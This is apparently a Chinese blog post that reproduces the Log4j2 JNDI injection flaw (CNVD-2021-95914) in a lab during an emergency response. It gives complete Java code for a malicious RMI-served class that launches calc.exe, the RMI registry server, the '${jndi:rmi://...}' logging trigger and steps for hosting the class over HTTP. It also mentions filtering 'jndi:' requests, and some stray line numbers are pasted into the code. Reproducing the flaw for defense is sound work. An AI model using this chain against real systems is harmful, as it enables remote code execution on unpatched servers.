复现 log4j2 CNVD-2021-95914 漏洞

前景：昨天被一则新闻刷屏

 

　　当看到这个消息的时候，公司也启动紧急响应，要求来检查目前生产中使用的log4j版本是否有这个问题，根据火线官方说明，但凡是版本在 2.x <= 2.15.0-rc1，都会有这个漏洞，一看到这个，我就知道基本全覆盖了，果然一看服务器上的组件，hadoop全家桶、elasticsearch、flink、spark 基本全部命中，紧急之下，先让运维同志先拦截一切带有 jndi: 关键字的请求，为了更好的验证这个bug，我们在自己的电脑上做了复现

 

RmiServer：Rmi服务端代码

　　该项目用于启动Rmi的地址服务功能

　　com.server.EvilObj //恶意代码，会启动客户端的计算器软件

package com.server;//package com.hns;

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;

public class EvilObj extends UnicastRemoteObject {
    protected EvilObj() throws RemoteException {
    }

    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while((lineStr = inBr.readLine()) != null){
            sb += lineStr+"\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
        return null;
    }

    static {
        try{
            exec("calc.exe");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

　　com.server.Server //rmi服务,绑定rmi注册表

package com.server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://192.168.32.90:6666/"; //下载恶意代码的地址，被攻击者会到 http://192.168.32.90:6666/com/server/EvilObj.class下载恶意代码
        System.out.println("Create RMI registry on port 1099"); 20 Reference reference = new Reference("com.server.EvilObj", "com.server.EvilObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 
22         registry.bind("evil", referenceWrapper); 
 } 
}

　

Log4j2Client ：Log4j2客户端代码

　　com.client.Client

package com.client;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.NamingException;

public class Client {
    private static Logger log = LogManager.getLogger(Client.class);
    public static void main(String[] args) throws NamingException, InterruptedException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "true");
//        Context context = new InitialContext();
//        context.lookup("rmi://192.168.32.90:1099/evil"); //直接请求rmi服务

        log.error("${jndi:rmi://192.168.32.90:1099/evil}"); //用jndi方式，拉取加载rmi服务
    }
}

　　

部署：

　　1、将RmiServer 项目部署到 一台远程的window电脑上（192.168.32.90），使用下面命令启动

D:\ProgramFiles\java\jdk1.8.0_121\bin\java.exe -cp RmiServer-1.0-SNAPSHOT.jar com.server.Server

　　

　　2、在远程的window电脑上（192.168.32.90）上创建目录：D:\documents\desktop\test\ClassLoadHttpServer\com\server，里面放上 恶意代码的class文件：EvilObj.class

　　

　　3、在D:\documents\desktop\test\ClassLoadHttpServer目录下，执行下面命令，启动一个http服务端，提供恶意代码的class文件给被攻击者下载

1 python -m http.server 6666

 　　

　　4、在本机上，启动Log4j2Client项目的 com.client.Client#main 方法，就会触发自己本机的计算器被启动